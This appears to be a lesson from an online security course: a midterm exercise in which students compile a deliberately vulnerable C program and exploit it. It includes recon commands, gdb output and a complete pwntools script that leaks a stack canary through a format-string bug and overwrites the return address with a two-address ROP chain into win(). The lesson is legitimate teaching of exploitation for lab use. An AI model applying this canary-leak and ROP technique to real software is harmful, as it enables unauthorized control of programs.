What would you like to learn?

Try PowerShell, networks, XSS, or Step 138

Browse the full curriculum →

C · Systems · Pwn

Step 214. ★ Midterm Check: Independent Exploitation of a Canary+NX Binary — Leak It, Keep It Alive, Overwrite It

Step 214Estimated practice · 6 hours

Level 3 — Pwn Track | Difficulty ★★★★★ | Estimated time: 6 hours

Prerequisites: you’ve finished Step 186 (buffer-overflow reproduction), Step 187 (protection mechanisms), Step 188 (pwntools basics). You know stack frames, RET overwriting, and how the canary works, and you can use the pwntools venv.

⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. Today’s target is a practice binary you compile yourself.

  • What you need: WSL Ubuntu (measured: Ubuntu 24.04, gcc 13.3.0, gdb 15.1), the pwntools venv from Step 188 (measured: pwntools 4.15.0).
  • Caution: this chapter is a midterm check. Section 3 walks through reconnaissance together; the exploit is completed on your own in the Section 4 mission. If you get stuck, open the step-by-step hints in Section 5 — one at a time.

What you’ve learned on the Pwn track so far comes in four pieces — overwriting RET with a stack overflow (Step 186), what each protection blocks (Step 187), building payloads with pwntools (Step 188), and reading memory with a format string. Today you merge the four into one attack. Take a binary with canary and NX on, leak the canary, keep it alive, and overwrite a ROP chain — doing the whole process on your own is the graduation exam.


1. Learning Objectives

By the end of this chapter, you will be able to:

  • Design the entire exploit process yourself, from protection identification (recon) to strategy
  • Leak the stack-canary value with a format-string vulnerability
  • Overwrite the canary back with its original value to bypass detection
  • Assemble a ROP chain and execute a function of your choice
  • Write a Write-up explaining why each stage of the attack is necessary

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category Details
Language/environment C (for building the target) + Python/pwntools (for attacking) + WSL Ubuntu bash (measured: gcc 13.3.0, gdb 15.1, pwntools 4.15.0)
Today’s commands readelf -h / -lW, nm, objdump -d, gdb’s x/gx $rsp+offset, pwntools’ ELF, ROP, process
Concepts needed Stack canary (Step 187), format-string reading (%p), ROP chains, stack alignment, fortify (__printf_chk)
Today’s deliverables 1 working exploit script + 1 Write-up with per-stage reasoning

2-1. Today’s Opponent: Two Vulnerabilities, Two Shields

Today’s target has two vulnerabilities: a format-string vulnerability (memory read) and a stack overflow (memory write). Two shields as well — canary and NX. That correspondence is today’s attack blueprint.

  • Without knowing the canary → you die the moment you overwrite. So read it first (format string).
  • NX means you can’t plant code on the stack → recycle code already inside the program (ROP).

The two-stage "leak → calculate → overwrite" structure from Step 187 is performed end to end for the first time today.

2-2. One Canary per Process — Same Value Read from Any Function

The canary value is set when the process starts, stored at %fs:0x28, and each function’s prologue copies that value into its own stack frame. Within the same process, any function you read it from gives the same value.

This is the key to today’s attack. The leak happens in the memo function; the overwrite happens in vuln — but the canary value is the same. The sense that "where you read and where you overwrite don’t have to match" matters.

2-3. Format-String Reading Review — The %p Chain

When the attacker controls the format string, as in printf(user_input), listing %p makes the program print stack values as-is. On x86-64, the first few come from registers (rsi, rdx, …), and the rest from the stack.

Ubuntu’s default compilation enables fortify, which turns printf into __printf_chk. Then arguments shift by one, so the stack’s first slot becomes %5$p, and skipping numbers with %N$ is rejected. You’ll meet both of these in today’s measurements — covered in 3-2 and in Walls 1–2 of Section 6.

2-4. ROP Chains — Writing "a List of Addresses" on the Stack

In an NX world, what you can write on the stack isn’t code — it’s addresses. Since ret means "jump to the address at the stack top," laying several addresses on the stack makes execution hop to the next one at every ret — that’s a ROP chain.

The address pieces that go into a chain are called gadgets. With a gadget like pop rdi; ret you can even load arguments for a function — but today’s small binary doesn’t have one. What to do then is 3-4’s measured discovery.

2-5. The Rules of Independent Work

The midterm’s grading criteria aren’t just "the flag." ① Did you write the recon results down first, ② did you verify each stage separately, ③ does the Write-up contain the reasoning for why you did it that way. The same standard as a real-world pwn report.


3. Follow Along

3-1. The Target Binary — By the Author’s Hand

It’s a midterm, but you still compile the target yourself. Imagine you’ve been handed a distributed binary, as in real work. Work inside a ~/lab214_218 folder.

Input (target214.c)

#include <stdio.h>
#include <string.h>

char flag[] = "FLAG{c4n4ry_l34k_4nd_r0p_ch41n}";

void win(void) {
    printf("admin privileges acquired: %sn", flag);
}

void memo(void) {           /* format-string vulnerability — the info-leak stage */
    char fmt[64];
    printf("leave a memo: ");
    fgets(fmt, sizeof(fmt), stdin);
    printf(fmt);
    printf("n");
}

void vuln(void) {           /* stack overflow — the overwrite stage */
    char buf[64];
    printf("enter your introduction: ");
    gets(buf);
    printf("registration completen");
}

int main(void) {
    setvbuf(stdout, NULL, _IONBF, 0);
    memo();
    vuln();
    printf("normal exitn");
    return 0;
}

Compile — canary on, PIE off (NX is on by default):

mkdir -p ~/lab214_218 && cd ~/lab214_218
gcc -O1 -fstack-protector-strong -no-pie -o target214 target214.c
target214.c:13:12: warning: format not a string literal and no format arguments [-Wformat-security]
target214.c: warning: the `gets' function is dangerous and should not be used.

(Measured 2026-09-09. Two warnings — the compiler pinpoints both vulnerabilities exactly. "Warnings are a vulnerability list" — don’t forget it.)

That was the setup. Now forget the source. You are an attacker who has just been handed a binary.

3-2. Recon — What Is Turned On?

An attack’s first move isn’t reading code — it’s reading the shields (exactly Step 187’s identification method).

readelf -h target214 | grep Type
readelf -lW target214 | grep GNU_STACK
nm target214 | grep stack_chk
  Type:                              EXEC (Executable file)
  GNU_STACK      ... RW  0x10
                 U __stack_chk_fail@GLIBC_2.4

(Measured 2026-09-09.)

How to read the output: EXEC → PIE off, addresses fixed. GNU_STACK is RW (no E) → NX on, no shellcode. __stack_chk_fail → canary on. Add it up and the strategy decides itself: canary leak + ROP. With PIE off, addresses come from static analysis — the only thing that needs leaking is the canary.

Check the symbols too:

nm target214 | grep -E " win$| flag$"
0000000000404060 D flag
00000000004011f6 T win

(Measured 2026-09-09.)

win is fixed at 0x4011f6. You just have to get there.

3-3. Recon 2 — Locating the Two Vulnerabilities

Read the frame structure from the disassembly. memo first:

gdb -batch -ex "disassemble memo" ./target214
   0x00000000004011ff <+9>:	mov    %fs:0x28,%rax
   0x0000000000401208 <+18>:	mov    %rax,0x48(%rsp)
   ...
   0x0000000000401244 <+78>:	call   0x4010f0 <__printf_chk@plt>

(Measured 2026-09-09.)

How to read the output: the canary is planted at rsp+0x48. And the call is __printf_chk, not printf — a signal that fortify is on. That one-word difference shifts the %p numbering (measured shortly).

vuln too:

gdb -batch -ex "disassemble vuln" ./target214
   0x00000000004012a9 <+17>:	mov    %rax,0x48(%rsp)
   0x00000000004012c1 <+41>:	mov    %rsp,%rdi
   0x00000000004012c9 <+49>:	call   0x4010e0 <gets@plt>
   ...
   0x00000000004012ee <+86>:	ret

(Measured 2026-09-09.)

How to read the output: gets‘ argument (rdi) is rsp itself — the buffer is at the very bottom of the frame. The canary sits at rsp+0x48 = 72 bytes past the buffer start. Past 8 more bytes lies the RET address. So the overwrite map is: 72 bytes of fill + 8 of canary + 8 of padding + RET (chain).

3-4. The Final Hint — This Binary’s Gadget Inventory

Check the stock available for the chain. Activate the pwntools venv:

source ~/lab188/venv/bin/activate
python3 -c "
from pwn import *
context.log_level = 'error'
e = ELF('./target214')
r = ROP(e)
for g in r.gadgets.values():
    print(hex(g.address), '; '.join(g.insns))
"
0x401264 add esp, 0x50; pop rbx; ret
0x4012c1 add esp, 0x58; ret
0x401017 add esp, 8; ret
0x401263 add rsp, 0x50; pop rbx; ret
0x4012c0 add rsp, 0x58; ret
0x401016 add rsp, 8; ret
0x4012c3 pop rax; ret
0x4011dd pop rbp; ret
0x401267 pop rbx; ret
0x40101a ret

(Measured 2026-09-09.)

How to read it: there is no pop rdi; ret. A common situation in small binaries — the old gadget warehouse (__libc_csu_init) is gone in modern glibc. With no way to load arguments, today’s chain becomes the minimal form that calls the argument-free win(): a ret gadget (for alignment) + the win address. A "chain" is nothing grand — a list of addresses is a chain.

That concludes the shared recon. Right now you know:

  • Protections: canary ON, NX ON, PIE OFF (addresses fixed)
  • Leak path: memo‘s format string — the canary sits at rsp+0x48 on the stack
  • Overwrite map: 72 + canary 8 + padding 8 + RET
  • Destination: win = 0x4011f6, alignment ret gadget = 0x40101a

4. Missions & Exercises

Mission — Independent Exploitation of target214 + Write-up

From here, you’re on your own. The order:

  1. Write the strategy in words first — three or more lines: "how will I read the canary, what does the chain look like"
  2. Leak stage — read the canary with the format string, and verify it really is the canary (think of a method without a hint)
  3. Overwrite stage — keep the canary alive, overwrite the chain, and execute win
  4. Write-up — record the reasoning for each stage ("why the 14th slot," "why 72 bytes," etc.)

Only when stuck, open the Section 5 hints one at a time. Hint 1 is the leak, hint 2 is verification, hint 3 is the overwrite. Following after reading everything builds different skill than doing it yourself.

Exercises

Problem 1. Because PIE was off in today’s target, the only information to leak was the canary. If PIE had been on too, what would you additionally need to leak, and which slot could have been the clue? (Look at 3-3’s leak output again.)

Problem 2. The canary was read in memo and the overwrite happened in vuln, yet the attack succeeded. Why was the value the same?

Problem 3. Explain the two changes that came from printf becoming __printf_chk (stack slot numbering, %N$ usage).

Problem 4. After a successful exploit, the program sometimes ends in a segfault. If the flag was already printed, is this crash an attack failure? Answer by real-world CTF standards.


Answers & completion criteria · expand/collapse

5. Model Answers & Completion Criteria

Hint 1 (leak) — How many %p, and which one?

The fmt buffer is 64 bytes, so 63 characters max — you can list 21 %p.‘s. Dump every stack slot and look for the value whose last byte is 00 and that changes on every run. Why the canary’s first byte is 0 is in Step 187.

Hint 2 (verification) — Compare against the real canary in the same run, in gdb

How to confirm the leaked candidate is the real canary: stop in gdb right before memo‘s canary check (the mov 0x48(%rsp),%rax point), read x/gx $rsp+0x48, and compare it with the value the program printed in the same run.

Hint 3 (overwrite) — The payload layout

b"A"*72 + p64(canary) + b"B"*8 + p64(0x40101a) + p64(0x4011f6). The key is putting the canary in exactly as read — overwrite it, but don’t change it.

Mission Model Answer

Stage 1 — leak. Send 21 %p‘s:

probe = b".".join([b"%p"] * 21)
leave a memo: 0xfbad2088.0xffbfad5f.0x4052df.(nil).0x70252e70252e7025. ...(snip)... 0x403e00.0x87927b21e74a8600.0x7fffffffe788.0x4012f2. ...

(Measured 2026-09-09.)

The 14th value, 0x87927b21e74a8600, ends in 00 and changes every run — a canary candidate. The 0x70252e70252e7025 in slots 5–12 is the ASCII of "%p.%p.%p" — my own input visible on the stack, which makes a good landmark.

Why the 14th: with fortify, the form becomes __printf_chk(flag, format, ...), arguments shift by one, and the stack’s first slot is %5$p. The canary is at rsp+0x48 = 9 slots later, so 5 + 9 = 14th. Calculation and measurement agree.

Stage 2 — verification. Compared in gdb within the same run:

Breakpoint 1, 0x0000000000401253 in memo ()
0x7fffffffe648:	0x87927b21e74a8600

(Measured 2026-09-09. An exact match with the 14th printed value — the leak is proven.)

Stage 3 — overwrite. The full exploit:

from pwn import *

context.log_level = "error"
e = ELF("./target214")
p = process("./target214")

# stage 1: leak the canary with the format string
probe = b".".join([b"%p"] * 21)
p.sendlineafter("leave a memo: ".encode(), probe)
slots = p.recvline().decode().strip().split(".")
canary = int(slots[13], 16)   # 14th slot (0-based 13)
print("[*] leaked canary:", hex(canary))
assert canary & 0xff == 0     # last-byte-00 check

# stage 2: keep the canary alive, ROP chain from RET onward
payload = b"A" * 72           # buf[64] up to just before the canary
payload += p64(canary)        # canary exactly as read
payload += b"B" * 8           # saved-register slot
payload += p64(0x40101a)      # ret — stack alignment
payload += p64(e.sym["win"])  # to win()
p.sendlineafter("enter your introduction: ".encode(), payload)
print(p.recvall(timeout=2).decode(errors="replace"))

Result:

[*] leaked canary: 0x50bcbca1ec185900
registration complete
admin privileges acquired: FLAG{c4n4ry_l34k_4nd_r0p_ch41n}

(Measured 2026-09-09. The canary differs on every run, but the script reads and rewrites that run’s value, so it always succeeds.)

How to verify: ① did you reach win without stack smashing detected — meaning the canary survived. ② as a control experiment, does putting an arbitrary value like p64(0) die with *<strong> stack smashing detected </strong>*: terminated — confirming the bypass. ③ does the Write-up contain the reasoning for the three "why"s (14th slot, 72 bytes, ret gadget).

Exercise Answers

Problem 1 answer. With PIE on, win‘s address changes every run, so you’d additionally need to leak the code base. In the leak output, a value in the 0x40xxxx range like 0x4012f2 is the clue — it’s the return address back to memo‘s caller (main), a real address in the running code section. Subtract that slot’s file offset from the value to get the base, then compute the destination as base + win’s offset.

Problem 2 answer. Because the canary’s original is one per process, stored at %fs:0x28, and each function’s prologue copies that same value into its own frame. The value read in memo and the value checked in vuln come from the same source, so leaking in one function passes another function’s check.

Problem 3 answer. First, __printf_chk adds a flag argument before the argument list, so the stack’s first slot becomes %5$p instead of %6$p (one slot forward). Second, specifying a skipped number like %7$p prints *<strong> invalid %N$ use detected </strong>* and aborts the program — you must use every earlier number without gaps (confirmed by measurement on 2026-09-09).

Problem 4 answer. Not a failure. An exploit’s goal is seizing control and performing the target action (printing the flag); the process owes no clean exit afterward. In real CTFs, the connection dropping after the flag arrives is common. Still, at the Write-up level you should be able to explain the cause — e.g., "no valid next address after win returns, so it crashed" — and if needed, append an exit-family call at the chain’s end to tidy up.

Completion Criteria Checklist

  • [ ] I identified canary/NX/PIE with readelf/nm and wrote the strategy down first
  • [ ] I dumped the stack with a %p chain and found the canary candidate
  • [ ] I understood that fortify (__printf_chk) shifts slot numbers by one, and confirmed it by calculation
  • [ ] I proved in gdb that the leaked value matches the real canary, in the same run
  • [ ] I overwrote the canary back with its original value, assembled a ROP chain (ret + win), and got the flag
  • [ ] I confirmed stack smashing in the control experiment with an arbitrary canary value
  • [ ] Mission: I wrote the per-stage reasoning in my Write-up

6. Common Pitfalls & Fixes

Wall 1. I specified a number like %7$p and got </strong>* invalid %N$ use detected *<strong>

Symptom: the moment you use a positional format, the program dies with Aborted (core dumped).
Cause: fortify-enabled __printf_chk doesn’t allow %N$ that skips numbers (measured 2026-09-09). The same message appears if the buffer-length limit truncates the format string mid-way.
Fix: list them in order, like %p.%p.%p.... Since the goal is seeing the whole stack anyway, the chain style carries more information.

Wall 2. The stack’s first slot isn’t %6$p

Symptom: you counted from %6$p as the book said, and everything is off by one.
Cause: __printf_chk(flag, format, ...) — the extra flag argument means varargs start at rdx, and the stack’s first slot is %5$p (measured 2026-09-09: the ASCII of my input "%p.%p", 0x70252e…, confirmed in slot 5).
Fix: don’t memorize numbers — find a landmark. The slot where the ASCII of the string you sent appears is the stack’s start; count the distance to the canary from there.

Wall 3. Found the canary, but overwriting still triggers stack smashing

Symptom: you put in the leaked value and got *<strong> stack smashing detected </strong>*: terminated.
Cause: usually an offset error — the distance to the canary (72) was wrong, or the 8 bytes didn’t land exactly on the canary slot. A single byte off and it’s detected.
Fix: re-measure in disassemble vuln — rdi just before gets (the buffer start) and the canary position (the mov %fs:0x28 store offset). The disassembly, not guesswork, is the reference.

Wall 4. $rsp disappears in a gdb script

Symptom: x/gx $rsp+0x48 becomes Cannot access memory at address 0x48$rsp expanded to an empty string.
Cause: the $ got variable-expanded through multiple shell layers. The same problem as Step 178’s Wall 2, reproduced in this chapter’s measurements.
Fix: when building a gdb command file from Python, use chr(36), or type it directly in interactive gdb.

Wall 5. The chain fired but segfaulted right at win — or segfaulted after the flag

Symptom: going straight to win without a ret gadget printed the flag but ended with exit code -11 (SIGSEGV) (measured 2026-09-09).
Cause: two possible causes — 16-byte stack misalignment (required by the movaps in the printf family), or a garbage next stack value after win returns.
Fix: putting one ret gadget at the chain’s head to fix alignment is standard practice. A post-flag crash isn’t a failure, as covered in Problem 4 — but you should be able to explain its cause.


7. Summary

Today’s Concepts

Concept One-line description
Canary leak A bypass that steals the guard value with a read vulnerability first, then reinserts it as-is when overwriting
%p chain The basic technique of dumping the stack in order with a format string
__printf_chk The printf fortify swaps in — slot numbers +1, %N$ skipping forbidden
ROP chain The technique of listing addresses on the stack to build a ret domino — even 2 addresses are a chain
ret gadget The simplest gadget, inserted into chains to fix stack alignment
Write-up An attack report that records not "what" but "why"

Today’s Commands

Command What it does
readelf -h / -lW, nm Identify protections — the recon trio before attacking
%p. × N input Leak the stack contents in order
gdb -batch -ex "disassemble func" Grasp the frame structure (canary/buffer offsets)
x/gx $rsp+0x48 Check the real canary mid-run — leak verification
ROP(ELF).gadgets (pwntools) Inventory the chain stock (gadgets)
p.sendlineafter / p.recvline (pwntools) Automate per-stage I/O

The Sense That Matters More Than Commands

The midterm’s real answer isn’t the flag — it’s the order. Read the shields first (recon), read out the missing information (leak), overwrite while keeping what you read alive (bypass), and list addresses to connect the flow (chain). These four beats repeat across every real-world pwn challenge, far beyond today’s practice binary.

And one more — today’s exploit was completed on top of two small discoveries (the slots shifted by one; there’s no gadget). Measuring and fixing on the spot what doesn’t go by the textbook — that is what "independent" means.


Once every box is checked, Step 214 is complete.

ONE STEP FURTHER

Finished this lesson?

Check the completion criteria, then mark your progress.

Something wrong with this page or a link? Let us know.
Next